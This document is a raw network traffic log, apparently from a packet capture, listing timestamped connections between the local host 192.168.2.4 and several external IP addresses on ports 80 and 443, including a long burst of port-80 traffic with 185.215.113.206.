Oct 30, 2024 06:16:19.412075996 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.412086010 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.412143946 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.412163973 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.435343027 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.452718973 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.452749014 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.500633955 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.500658035 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.510942936 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.511010885 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.511027098 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.512619972 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.512687922 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.512701035 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.528564930 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.528635025 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.528649092 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.528809071 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.528888941 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.528956890 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.528968096 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.529166937 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.529314995 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.578753948 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.578767061 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.619829893 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.620048046 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.620062113 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.620374918 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.620439053 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.620960951 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.621010065 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.621939898 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.621994972 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.622107983 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.622116089 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.622131109 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.623884916 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.623956919 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.623970032 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.627918959 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.627984047 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.627995968 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.631067038 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.631131887 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.631144047 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.640079021 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.640216112 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.640276909 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:19.640842915 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:19.640855074 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.640862942 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:19.640867949 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.645972967 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646040916 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.646051884 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646164894 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646244049 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646306992 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.646317959 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646523952 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.646646976 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646802902 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.646878004 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.646889925 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.663358927 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.672482967 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.688141108 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.740895987 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.745086908 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.745182037 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.745198011 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.745222092 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.748163939 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.748236895 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.748250961 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.748397112 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.762778997 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.762931108 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.762993097 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.763005018 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.763293028 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.763917923 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.764087915 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.764112949 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.824620962 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:19.834779024 CET	49723	80	192.168.2.4	2.16.100.168
Oct 30, 2024 06:16:19.840519905 CET	80	49723	2.16.100.168	192.168.2.4
Oct 30, 2024 06:16:19.840668917 CET	49723	80	192.168.2.4	2.16.100.168
Oct 30, 2024 06:16:19.871332884 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:19.898708105 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.953283072 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.953306913 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.955991030 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.956027985 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.956140041 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:19.956176043 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:19.956212044 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:20.120071888 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.120095015 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.120104074 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.120115995 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.120131969 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.120167017 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.120191097 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.120206118 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.120240927 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.121225119 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.121289968 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.121296883 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.121460915 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.749996901 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.750034094 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.750049114 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:20.750056028 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:20.835892916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:20.836441994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:20.843571901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:20.843688965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:20.843806982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:20.852153063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:20.852186918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:20.857505083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:20.857517958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:21.080085993 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:21.080126047 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:21.080208063 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:21.080566883 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:21.080585003 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:21.970366955 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:21.998974085 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:21.998991966 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.000293970 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.000418901 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.002813101 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.002904892 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.003196955 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.003405094 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.003416061 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.003472090 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.003597021 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.047683001 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.047705889 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.093998909 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.252720118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:22.252795935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:22.330924034 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.347744942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:22.347889900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:22.353141069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:22.353194952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:22.353358984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:22.375531912 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.375544071 CET	443	49759	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:22.378371000 CET	49759	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:22.378437996 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:23.124207020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:23.124268055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:23.140805960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:23.146233082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:23.919317961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:23.921710968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:24.695525885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:24.700895071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.466358900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.466445923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.695070028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.700423956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.973468065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.973486900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.973637104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.986284018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.986316919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.986346006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.986373901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.986383915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.986391068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.986401081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.986413956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.986424923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.986454010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.987081051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.987092018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.987102985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.987137079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.987154007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:25.987799883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:25.987854958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.126462936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126477957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126488924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126502991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126514912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126533985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.126553059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.126871109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126883030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126892090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.126909971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.126939058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.127368927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.127383947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.127397060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.127408981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.127418041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.127435923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.127461910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.128175020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.128185987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.128197908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.128220081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.128243923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.246362925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246377945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246388912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246455908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246467113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246479034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246490002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.246490002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.246506929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.246548891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.246548891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.247214079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.247225046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.247236013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.247287035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.247287035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.247507095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.247675896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.247688055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.247723103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.247723103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.280284882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.280298948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.280590057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.365576982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.365591049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.365602970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.365623951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.365673065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.365689993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.365700006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.365716934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.365716934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.365761042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.366244078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366255045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366266966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366302967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.366359949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.366677046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366687059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366698027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366709948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.366723061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.367014885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.367258072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.367266893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.367307901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.367307901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.399214029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.399341106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.399353981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.400480986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.484651089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.484667063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.484735012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.484746933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.484759092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.484774113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.484774113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.485022068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485028028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.485038042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485049009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485069036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.485095024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.485527992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485542059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485553980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485565901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485578060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.485596895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.485596895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.485649109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.486407042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.486419916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.486430883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.486479044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.486479044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.517448902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.517502069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.517581940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.517815113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.602615118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602663994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602670908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602777004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602849007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.602849007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.602873087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602915049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602921009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.602931023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602942944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.602967978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.602993011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.602993011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.603559017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.603574991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.603586912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.603598118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.603609085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.603631973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.603631973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.603682041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.604347944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.604358912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.604370117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.604406118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.604445934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.636557102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.636605024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.636733055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.721854925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721869946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721894026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721904993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721918106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721935987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721945047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.721961021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.721972942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.721998930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.722626925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.722637892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.722647905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.722665071 CET	80	49758	185.215.113.206	192.168.2.4
